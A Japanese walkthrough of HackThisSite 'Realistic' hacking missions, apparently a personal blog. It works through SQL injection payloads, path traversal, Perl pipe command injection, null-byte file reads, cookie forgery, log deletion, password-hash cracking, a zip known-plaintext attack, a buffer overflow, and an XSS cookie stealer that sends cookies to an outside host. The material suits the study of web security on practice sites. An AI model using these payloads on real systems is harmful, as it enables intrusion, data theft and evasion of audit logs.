本当にありそう?な状況設定の問題。思想団体のサイトを書き換えるとか、銀行から不正にお金を引き出すとか。・・ないな。
HeavyMetalRyanからのメッセージ
うちのバンドがランキングでトップになるかどうかで、$500の賭けをしたのだけれど、 メンバーが交通事故で死んでしまった。なのに、相手は賭けの中止を認めてくれない。このサイトのランキングを操作して、うちのバンドをトップにしてほしい。 バンド名は"Raging Inferno"だ。
まずは小手調べ。件のバンド"Raging Inferno"は現在最下位。
ソースから、投票用のフォームが見つかる。
"Raging Inferno"のidは0、voteの値へ大きな値を入れて送ってやればいい。
vote.php?PHPSESSID=******&id=0&vote=100
DestroyFascismからのメッセージ
人種主義者のサイトの管理者ページに進入してほしい。
これもいたってシンプル。
ソースを調べると、ページの一番下にupdate.phpへのリンクがあることが分る。
update.phpにつなぐと、usernameとpasswordを入力しろとのこと。
ところで、認証にデータベースを使っている場合、どんな風にデータベースへ要求をだすだろう?
SQLをつかうなら、
select * from user_table, pass_table where username='$username' and password='$password'
このとき、$usernameや$passwordにシングルクォーテーションが含まれていたらどうなるか。
$username="' or 'A'='A"
とすると、さっきの文は、
select * from user_table, pass_table where username='' or 'A'='A' and password='' or 'A'='A'
になるので、認証を通ってしまう。
ということで、update.phpに入力する。
username: ' or 'A'='A password: ' or 'A'='A
PeacePoetryからのメッセージ
平和についてのポエムを投稿できるサイトを運営していたのだけれど、トップページを、礼儀知らずで攻撃的な宣伝に書き換えられてしまった。元に戻して欲しい。もしも、こんなことをした馬鹿者の名前も教えてもらえたら、ボーナスポイントをあげる。
Forumを見ないと始めの一歩が分らなかった(´・ω・`)
(追記)ソースを隈なく探せば見つかるのね。
まず、oldindex.htmlに古いトップページがある。
submitpoems.phpいわく、投稿したポエムはサーバー上へ保存されるらしい。 もし、ポエムごとにファイルが分かれて作られるとしたら、 名前は番号かタイトルを使うだろう。
それらしいディレクトリがないか探してみる。poemsディレクトリがあるようだ。
ためしに、"poems/The Idiot"とすると、ファイルの内容が表示される。投稿したポエムはここに保存されるらしい。
また、タイトルにドット( . )を使っても、ファイルは保存される。
ということは、タイトルにindex.htmlの場所を指定すれば、index.htmlの内容を書き換えられるかもしれない。
タイトルに../index.htmlと入力し、本文に元のindexのソースを入力して投稿する。
SaveTheWhalesからのメッセージ
何匹もの動物を殺して売り物にしている店のサイトをハックしてほしい。このサイトには利用者のメールアドレスのリストがあるから、アドレスを調べて送ってほしい。
すこし面倒なSQL-injectionを使う。
トップページにメールアドレスの登録フォームがある。適当な文字を入れて登録すると、エラーメッセージが現れる。
Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's.
アドレスはemailテーブルに収められていることが分る。
つぎに、リンクを調べる。"Fur Coat"と"Alligator Accessories!"は、categoryに渡す値だけが異なる。これもデータベースで管理されているのかな?
ためしに、"category=1 or 2"とすると、両方とも表示される。
おそらく、
select * from goods_table where category=$category
としているのだろう。さらにソースを調べると、
select image,description,price,category
になっているのかも。
ところで、SQL文には、2つのSELECT文を結合するUNION句がある。[@IT]_
UNION句で結合する複数のSELECT文は2つの条件を満たしている必要がある。
SQLには、未定義をあらわすNULLがあるから、これでカラム数を合わせればよいだろう。 また、すべての行を表示させたいので、ALLキーワードも追加する。
UNION ALL SELECT NULL,NULL,NULL,email from email where 1=1
これをcategory=1の後ろにつなげればいい。
Spiffomatic64からのメッセージ
テレマーケティング会社からの電話に辟易している。 なんとか、データベースから電話番号を消去できないだろうか。
Spiffomatic64によれば、パスワードはメッセージダイジェスト(MD5, MD4)で暗号化されているらしい。
Databaseページのフォームから secretディレクトリがあることが分かる.
secret の中を調べてみると、admin.bak.phpが見つかる。MD5かMD4かは分からないけれどハッシュ値が見つかった。
error matching hash 33b68e29aa3b85c5dd255e99ecc7e92a
"News" を読むと、Google に対応したという記述が見つかるので、`Googleでサイト内検索してみる`。
robots.txtから、2つの隠しディレクトリがあることが分る。
Disallow: /lib/ Disallow: /secret/
libディレクトリ内で hashというファイルが見つかる。あたまにELFとあるから、なんかの実行ファイルかな?
Stirlingで開いてみると、"MD4"の文字列が見つかる。さっきのハッシュはMD4だったようだ。
適当なMD4 Cracker (Cain&Abel とか)でパスワードを探索して、ログイン。
ToxiCo_Watchからのメッセージ
ToxiCoのCEOが環境監査官"Samuel Smith"へ送ったメールを入手した。 しかし、本文が暗号化されていて読めない。 暗号化に使われたスクリプトはあるので、なんとか復号化して送って欲しい。
まず、適当に文字をいれて暗号化してみる。2文字入れれば6つの数字、3文字なら9 つの数字が出てくる。3つの数字で1つの文字を表しているのだろう。
何度か繰り返してみると、同じ文字でも数字が変わること、 和はいつも同じ値になることが分る。どうやら文字とパスワードのASCII-Codeの和になっているようだ。
total_of_3numbers = ascii_code + { total_of_passwd }
ところで、このメールは、ToxicoのCEOから環境監査官のチーフ"Samuel Smith"に送ら れたものだった。だから、"Samuel Smith"の名前は含まれているはず。
分りやすいように、数字を3つずつ足しておいて、一つの数字で一つの文字を表すようになおしておく。 ここからは、足したあとの数列で考える。
これらの数字に含まれるパスワード部分は共通だから、 隣の数字との差をとれば、"隣の文字とのASCII-codeの差"が得られる。この列はパスワード の和に関係なく決まるから、この数列で"Samuel Smith"を探せばよい。
Text: S a m u e l S m i t h ASCII: 83 97 109 117 101 108 32 83 109 105 116 104 Diff: 0 14 26 34 18 25 -51 0 26 22 33 21
見つかったら、とりあえず'S'に当たる数字から、パスワードの和を得る。
total_of_passwd = encrypted('S') - ascii_code('S')
あとはひたすら復号化。
decrypted_char = encrypted_char - total_of_passwd
すべて復号化できたら、HackThisSite!のSearch UsersからToxiCo_Watchを探し、 プライベートメッセージの本文に復号化した文を入れて、送信。
FreedomOfChoiceからのメッセージ
同性結婚に反対している、アメリカの保守的なグループのサイトをハックしてもらいたい。 もしもこのサイトをハックできたならば、それはモラルの横暴への偉大な闘争と自由の勝利になるだろう。
また、このサイトには adminセクションがあるが、ディレクトリ構造からは隠されている。
bush.txtや、他のテキストから、imagesディレクトリが見つかる。 さらに、imagesディレクトリの中に adminディレクトリも見つかるが、認証で入れない。
Apacheで認証といえば.htaccessによるBasic認証。.htaccessの内容を見られないだろうか。
showimages.phpは、ファイル名を指定すると、ファイルの内容を一行ずつ読み込み、imageタグを つけて表示するようだ。
showimages.phpに"images/admin/.htaccess"を指定。アカウントの情報は.htpasswdに 書いてあるらしい。
.htpasswdを覗くと、ユーザーネームとパスワードのハッシュが手に入る。
<center><a href="administrator:$1$3hxAH...$gojarG2yocwDnqo.jx3qk0 "><img src="administrator:$1$3hxAH...$gojarG2yocwDnqo.jx3qk0 " width=100></a> <a href=""><img src="" width=100></a> </center></font>
password.txtに
administrator:$1$3hxAH...$gojarG2yocwDnqo.jx3qk0
と書いて、JohnTheRipperで調べる。
# john-386.exe password.txt
2時間近くかかって、出て来た。company
DarkOneWithANeedからのメッセージ
Gary Hunter氏の銀行のアカウントを見つけて、$10,000,000をdropCashというアカウントに移して欲しい。
チャレンジは3つのステップからなっている。
まずは Gary氏のアカウントネームを知りたい。とりあえずはユーザー登録をする。
search.phpからアカウントネームを探せる。このなかには自分のアカウントも含まれている。
シングルクォーテーション( ' )を入れて送ってみると、
Error Getting Username Information From Table 'users'
と表示されることから、データベースにSQLクエリーを送っているのだろう。SQL-injectionが使えるかな?
' or '1'='1
と送ると、名前のリストが出て来る。Gary氏のはどれだろう? 新しいアカウントは下のほうにあるから、本当のGary氏のアカウントは上の方にあるはず。
GaryWilliamHunter : -- $$$$$ --
これで第一ステップ終了。
次に、$10,000,000を移さなければならない。どうすればGary氏のアカウントでログインできるだろう?
ところで、ログインするときの手順は、
ということは、どこかに名前やパスワード、もしくはログインしたという情報が保持されているはず。
Firefox の拡張機能などでcookieを覗くと、accountUsernameとaccountPasswordが見つかる。 キャッシュを振り込むときにも、この名前が参照されるのだろうか?
ためしに、名前をGary氏のアカウントに書き換え、dropCash にキャッシュを移す。
第2ステップも終了。
最後に、ログファイルを消去する。login2.phpのソースを眺めていると、<username>SQLFilesというインプットが見つかる。
<form action="cleardir.php" method="post"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"> <b><input name="dir" value="taroSQLFiles" type="hidden"> <input value="Clear Files In Personal Folder" type="submit"></b></font>
<username>SQLFiles ディレクトリの中身を消去するらしい。
これをjavascriptでlogFilesに書き換えて、[Clear]
javascript:void(document.forms[0].dir.value="logFiles");
R-Connerからのメッセージ
やっかいな上司にあたって、20日も給料が遅れている。CrappySoftのサイト上に給料支払い用システムが あるので、こいつを使って給料を払い込んでほしい。
管理者ではないが、R-Connerのアカウントが使える * Username: r-conner@crappysoft.com * Password: ilovemywork
まずは彼のアカウントでログインする。cookieを見ると、Username、Password、IDの三つが含まれている。
"Private Message's" でm-crapがオーナーだと分る。彼がログインしたときのcookieが手に入ればよいのだけど、、。
"cookie stealer"という手法を使えば実現できそうだ。((<How To Make A Cookie Stealer|URL:http://www.criticalsecurity.net/index.php?showtopic=7137>))
javascript: document.cookie
とやって取得したcookieを、保存するスクリプトに送ればいい。
このとき、本当にスクリプトを用意する必要はなくて、javascriptでの誘導と、クッキーを保存するスクリプトが 指定されていればよいみたい。XSSの危険性を考えると分かるのだけれど、なんかずるい(´・ω・`)
<script>window.navigate="http://mydomain.dyndns.org/c.php?"+document.cookie;</script>
をm-crap@crappysoft.comに送る。
r-conner宛にBossからクッキーの贈り物ヾ('ω'*)ノ
It is not within the scope of this mission to actually check the XSS, we assume you got the idea and your entry has passed basic checking... so assume you have recieved the following cookie... strUsername=m-crap%40crappysoft.com; strPassword=94a35a3b7befff5eb2a8415af04aa16c; intID=1
クッキーを編集して、給料を支払う。次に、ログイン記録を消さなくてはいけない。
"Mailing List"のソースからfilesディレクトリ、さらにfiles/logs/logs.txtが見つかる。 これを消せばよいはず。
もういちど"Mailing List"のソースを眺めてみると、フォームにstrFilenameとある。 こいつの指定ファイルを、さっきのログファイルに置き換えれば上書きできる。
javascript:void(document.forms[0].strFilename.value="./files/logs/logs.txt");
Zach Sanchezからのメッセージ
卒業が危ないから単位をとらせて!
彼のアカウントは
ソースをからstuff.phpが見つかる。けれどもUsernameとPasswordが分らない。
CHOOSING A SAFE PASSWORD によると、 パスワードをつけるときに犯しがちな間違いはユーザーネームとパスワードに同じものを使うこと。
e-mailのアドレスがアカウント名と同じという場合はよくあるから、"Staff Listing"の上から順に試してみると、
user: smiller pass: smiller
でログインできる。しかし、メッセージが出て、単位の操作はできない。
Welcome, Mrs. Samantha Miller! Please remember that access the staff administration area is restricted to the district-supplied 'holy_teacher' web browser.
"holy_teacher"専用ブラウザしか受け付けないということかな。UserAgentを"holy_teacher"に変更して 再度ログイン。
Firefoxなら、prefs.jsと同じところにuser.jsというファイルをつくり、
user_pref("general.useragent.override", "holy_teacher");
と書けばいい。
ログインはできたが、今度はadministratorでないよ!と言われる。
cookieを、admin=1、にセットしてもういちどログイン。
"Student listing"からZachのページへ移動する。Modifyの欄は"see below"となっていて、成績の変更ができない。
しかたがないので、ソースを見てみると、"submit"がコメントアウトで消されている。それなら直接入力すればよい。
<center>2</center></td><td width=5> </td><td> <!--<input type="submit" value="modify"></form>-->see below</td>
成績を変更したいのはBibleとGymだから、それぞれ、rec=0とrec=3にセットし、grade=5&comment="OK"とか入れて送る。
Space46からのメッセージ
BudgetServホスティングサービスにアカウントを凍結されてしまった。 BudgetServのサーバ上にある、私のバックアップファイル(src.tar.gz)を取り戻してもらいたい。
page.pl?page=に適当な名前(例えば、abc)を入れてみると、
open(file, "pages/abc") failed: No such file or directory
と表示される。open(file,"pages/$page") としているのだろう。また、.<>/ などを入れてみると、
Page cannot m{[.<>\/&\s]}
"|" (pipe)は使えるようだ。
perlのopenは、プログラムを"|"でつなぐことで、パイプを使ったプロセス間通信ができる。((<Perl IPC|URL:http://www.kt.rim.or.jp/~kbk/perl5.005/perlipc.html#Using_open_for_IPC>))
page.pl?page=|ls|
とすると、lsコマンドの結果から、ディレクトリの中身が見られる。
admin bs.dbase client_http_docs frontpage.gif index.html letter.gif logo.gif ms.gif mysql.gif order.pl page.pl pages perl.gif php.gif server.gif sqlite.png suspended.html tux.gif webmail.php
bs.dbaseというのはデータベースのファイルだろうけれど、アクセスできない。
client_http_docsの中に各ユーザのディレクトリがあるらしい。 しかし、space64のディレクトリにアクセスしようとしても、
This account has been suspended.
と表示されて、見ることができない。しかたがないので、他のユーザのサイトを眺めてみる。
therightwayradioを見てみると、このサイトは一度ハッキングを受けたようだ。logger.htmlを眺めてみると、
page=userinfo&id=0
にアクセスしているものがある。ためしに移動してみると、aclu_bomber_08290 のアカウント情報が見られるうえに、 パスワードの変更までできる。侵入者の置き土産だろうか?適当にパスワードを変更して、ログイン。
右上に表示されるmodからSQLite-Queryを送ることができるらしい。ソースを見ると、rwr.dbaseというファイルを指定している。 さっきのbs.dbaseはSQLiteのファイルだったようだ。
ところで、SQLiteでは下のクエリーでデータベースのテーブル一覧を得られる。[SQLite]_
SELECT name FROM sqlite_master WHERE type='table' UNION ALL SELECT name FROM sqlite_temp_master WHERE type='table' ORDER BY name;
javascriptでdbaseファイルの指定を変更して、テーブル一覧を取得。
javascript:void(document.forms[0].sql_db.value="../../../bs.bases");
web_hostingテーブルというのがあるらしい。再びmodで
SELECT * FROM web_hosting
を送る。すると、管理者っぽいアカウントが見つかる
wonderdiet:suckereveryminute
FAQから"administration script"にログイン。
top_secret_real_11_source.tar.gzという、あからさまに怪しいファイルがあるので、 ダウンロードする。
さっきのtar.gzファイルのadminディレクトリに、ダウンロードに使ったスクリプト(d.pl)が見つかる。
23行目あたりに
if ($file eq "/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz") {
print header;
require "../../levelup.pl";
level_up(11);
exit;
}
$fileに目的のバックアップファイルを指定すれば、クリアできるらしい。 つまり、downloadに"/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz"を指定すればいい。
d.pl?file=/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz
OutThere からのメッセージ
情報管理の教師がつくったプロキシスクリプトのせいで、Googleすら見られない。 なんとかできないかい?
前提として分っていることは、 * 問題のスクリプトはperlで書かれていて、internet.plという
まずは、生徒のつくったページを見ることができるので、調べてみる。
コンピュータに強い(?生徒のページにゲストブックがある。
guest.pl?action=read&file=guestbook.txt
ここに適当なファイル名を指定すれば、中身が見られるはず。
guest.pl?action=read&file=internet.pl
どうも本体はpage.plのようだ。さらに、page.plを調べてみると、blocked.txtが 問題のブロックリストだと分る。さて、ここからどうしよう。。
ところで、Windows95上に作っているこのスクリプトから、Cドライブにアクセスできない だろうか?
Address: file://C:/
WINDOWS/ADMIN.PWLがそれっぽい?・・怒られた(´・ω・`)
file://C:/Web/html/heartlandadminpanel.html
というのが見つかる。Web/htmlは公開しているファイル群だから、Web からも見られるはず。
heartlandadminpanel.htmlから指定されているheartlandadminpanel.plを、他のスクリプトと同様に調べてみる。
if ($ENV{QUERY_STRING} =~
/^username=jbardus&password=heartlandnetworkadministrator&blocked=/)
{
clearlist();
}
そのまま送ってクリア。
Fr0zenB1tからのメッセージ
選挙の邪魔をするために、Elboniaの共和党のサイトをダウンさせて欲しい
まずはサイト内をよく見てみる。
Speechesで、speeches2.phpへspeeche=2を与えてみると、PHPエラーが大量に出てくる。
エラーメッセージから、3つのディレクトリが分る
admin oldsite 21232f297a57a5a743894a0e4a801fc3
oldsiteにアクセスすると、古いパスワードimhomealoneが手に入る。
Devs, we need to destroy the password "imhomealone" because, it's been leaked somehow - Daruman - August 9th
次は Press Releasesのページを調べる。readpress.phpを直接開くと大量のエラーが出てくる。
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$in = "GET /speeches/passwords/" . md5('Speeches') . "";
$in .= "REFERER: http://ENRP/get_speeches_passwords_referer\n";
md5('Speeches')を計算してつないでみる。
/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8
passwords.fipが見つかる。
7bc35830abab8fced52657d38ea048df:21232f297a57a5a743894a0e4a801fc3
おそらくmd5だろう。Cain&Abelで総当りすると
moni1:admin
adminのフォームからログイン・・できない。
ハッシュの方のフォームからログイン・・できた!
OutThere からのメッセージ・・12でも来たような。
"Yuppers Internet Solutions"はクライアントの情報を売っている。 証拠を押さえて欲しい。
ちょっとYahoo!ちっくなのが笑える。
とりあえずサインアップ。すると、妙なメッセージが出てくる。
echo "<html><head><title>taro's Web Page</title></head><body><h1>taro's Web Page</h1>Hello, and welcome to my webpage. I haven't started building my page yet, so please check back later.</body></html>">../yweb/taro.txt|Content-Type: text/html <html><body><b>Account creation was a success! You now have an email account, <a href="../mail.html">taro@yuppers.nod</a>, webspace on <a href="../yweb/?taro">Y-Webs</a>, and access to Yuppers! People.</b></body></html>
頭の片隅においておこう。次に、Newsを調べてみる。
news.cgiは<storyの値>.newsを読み込むようだ。ということは、最後にナル文字を渡せば好きなファイルを 読み込ませられるかも。
ためしに、news.cgi自身を読み込ませてみる。
story=news.cgi%00
さらに
story=.%00
で一番上のディレクトリの中身も読み込むことができる。
ad_poolディレクトリで、change-log.txtが見つかる。それによれば、moderator.cgi、dministrator.cgiがあるらしい。
しかし、administrator.cgiは"404 Not Found"。news.cgiで見てみると、あるし(`・ω・´)
管理者でないと見ることができないようだ。
とりあえず他の場所を探してみる。robots.txtがあやしい。適当なエディタで開いてみると、あたまにJFIFとあって文字化けする。JPEG かな?
robots.jpgに名前を変更して開くと、奥のほうにPANCAKEという文字が見える。
ためしに、moderator.cgiに入力してみる・・いけた。
moderator.cgiの"View Account Info"に適当に入れてみる。ワイルドカード"*"を試すと、一番上のアカウントが出てきた。
でも、Adminでない・・(´・ω・`)
Forum 曰く、
Remove Account で消されたのでは?
・・だめじゃん。しばらく放置。
数日後、"Remove Account"フォームがなくなっている。
"View Account Info"を試してみると、"Admin Account"が手に入った。
username: webguy password: reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack
トップページからログイン。administrator.cgiへログインしてクリア。
htmlからのメッセージ
seculas Ltd.が新型のレーザー兵器を開発し、特許の係争中だという噂がある。 彼らの最新の特許について調べてほしい。
jobs.phpから進んで、storeapplication.phpに移る。 ソースから_backup_ディレクトリがあることが分る。_backup_/backup.zipが見つかる。
どうやらパスワードがかかっている。総当りでも良いのだけれど、今回はPkCrackを使ってみる。
PkCrakcは暗号化されていないプレインテキストが必要だけれど、幸い今回はindex.htm が含まれ ているのでこれを使う。
PkCrackの使い方については、別ページで解説する予定。
調べたところ、backup.zipに関して以下のことが分った
"seculas Ltd."のトップページからindex.htmをダウンロードし、最高圧縮で圧縮する(index.zip)。 もちろんパスワードはかけない。
そして、おもむろに
pkcrack -C backup.zip -c "misc (files from different folders)/index.htm" -P index.zip -p index.htm -d finish.zip
ちなみに、"-d finish.zip" を忘れると悲惨なほどに時間がかかる。
できあがったfinish.zipを調べる。
msgshow.phpから、internal_messages.phpがあることが分る。
<?php /*-- called by internal_messages.php --*/
internal_messages/internal_messages.phpへつないでみる。adminにもメッセージが来ているみたい。しかし、 このままでは読むことができない。
ふたたび、msgshow.phpに戻る。showmessage('admin')を実行したい。msgauth.phpを呼んでいる以外は特に 何もしていないから、msgauth.phpで認証しているのだろう。
msgauth.phpを見ると、$_SESSION['msgauth'][$msg_username]が'OK'ならよいことが分る。
そして、$_SESSIONが'OK'になるためには、$msg_usernameと$msg_passwordが、$filename内の ユーザーネーム、パスワードとマッチしなければならない。
if (ereg($msg_username . ": " . $msg_password . "\r*\n*$", $strLine, $regs)) $_SESSION['msgauth'][$msg_username] = "OK";
ところで、PHPの場合、<input name="username" value="taro">で与えられた値は、$usernameで取り出せる。 つまり、name="msg_username"で与えられた値は、$msg_usernameに入れられる。
また、変数$_SESSIONはスクリプトを超えて保持されるから、msgauth.phpだけであっても、 一度、$_SESSIONに'OK'を代入することができれば、showmessage()を実行させられる。
つまり、msgauth.phpからアクセスできて、admin:passwordという形式の記述を含むファイル を見つけられればいい。
そんなものあるんか?と探すと、index.htmにちょうどいい部分が見つかる。
<meta name="KeyWords" content="laser,war,smart bombs,night vision aid">
<meta name="Author" content="webadmin: Susy Slack,
email s.slack@seculas.com">
これをmsgauth.phpに走査させたいので、インプットにmsg_username、msg_password、filenameを 含むフォームを作る。
msgauth.phpの部分はもっと長いのだけれど、割愛。
<form action="msgauth.php" method="post"> <input type="hidden" name="msg_username" value="admin" /><br /> <input type="hidden" name="msg_password" value="Susy Slack," /><br /> <input type="hidden" name="filename" value="../../index.htm" /><br /> <input type="submit" value="send" /> </form>
これを送ると、空白ページが表示される。成功しているだろうか?
internal_messages.phpに戻って、adminの"read messages"を押す。
J.Bardusからメッセージが来ている。J.Bardusって学校の情報教師じゃなかったっけ、、
Hi admin,I added a more secure authentication-check script in the admin_area directory, and I stored a file with the source-code there. Check it if you want to. You will see its ultra secure. Bye, Jason
admin_areaディレクトリに認証用のスクリプトを置いたらしい。shell.phpのことだろう。
admin_area/shell.phpにアクセスすると、名前とパスワードを要求される。
もういちど、backup.zipのshell.phpを調べてみる。認証に失敗すると、$MyShellVersionが表示されるようだ。
$MyShellVersion = "MyShell 1.1.0 build 20010923 ".$$PHP_AUTH_USER;
$PHP_AUTH_USERには認証で入力した名前が入る。だから、$$PHP_AUTH_USERは入力した文字列と 同じ名前の変数を表すことになる。
パスワードのハッシュが入った変数は$shellPswd_rootだから、 shellPswd_rootと入力すれば手に入る。
modified MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac
shell.php曰く、これは2重のmd5で暗号化されている。
md5(md5($PHP_AUTH_PW))==$shellPswd_root
Cain&Abelは、そのままでは2重のmd5に対応できない。 wordlist.txtをrubyでmd5化して辞書をつくり、辞書攻撃をかける。
require 'digest/md5'
open("wordlist.txt"){|f|
f.each{|l|
puts Digest::MD5.hexdigest(l.chomp)
}
}
さくっと終了。
username:root password:foobar
あらためて、shell.phpにログイン。
lsコマンドでディレクトリの中身を表示させる。
helpdesk/ mypr0n/ shell.php test/ viewpatents.php viewpatents2.php
残念ながら、cdなど、他のコマンドは使わせてもらえない。
Heh I can't really let you mess around with my server!
しかたがないので、ブラウザで探す。
testディレクトリで、chkuserpass.c.zipが見つかる。今度はパスワードもかかっていないので、素直に解凍できる。
どうやら、viewpatents.phpの認証も、これを使っているらしい。chkuserpass.cに問題点は見つからないだろうか?
char is_pass_correctの値が最終的に'Y'なら認証成功。
-- main(int argc, char* argv[])
if (checkit(argv[1], argv[2], argv[3]) == 'Y')
printf("correct");
else
printf("notvalid");
--- checkit(char* username, char* password,, char* hash)
if (strcmp(mymd5(concatenated), hash) == 0)
is_pass_correct = 'Y';
return is_pass_correct;
char concatenated[200]はサイズが200byteで固定であるのに、strcpyやstrcatで長さのチェックをしていない。 ここにバッファオーバーフローの問題がある。
char concatenated[200]; strcpy(concatenated, username); /* if a password is less than 4 chars long, */ /* add some extra characters */ if (strlen(password) < 4) strcat(concatenated, fillstring); strcat(concatenated, password);
concatenatedの範囲外に書き込ませることで、is_pass_correctの値を書き換えることができるかもしれない。 書き込む長さが200を超えるようにするには、passwordに200文字以上入力すればいい。
しかし、200を超えて、何文字入力すればよいのかわからない。地道に200から増やしていくことにしよう。
xyzzy-lispで、だーっと200から250文字分の'Y'を出力。
(dotimes (x 50)
(dotimes (y (+ 200 x))
(format t "Y")) (format t "\n"))
223個目の'Y'を入力して、クリア。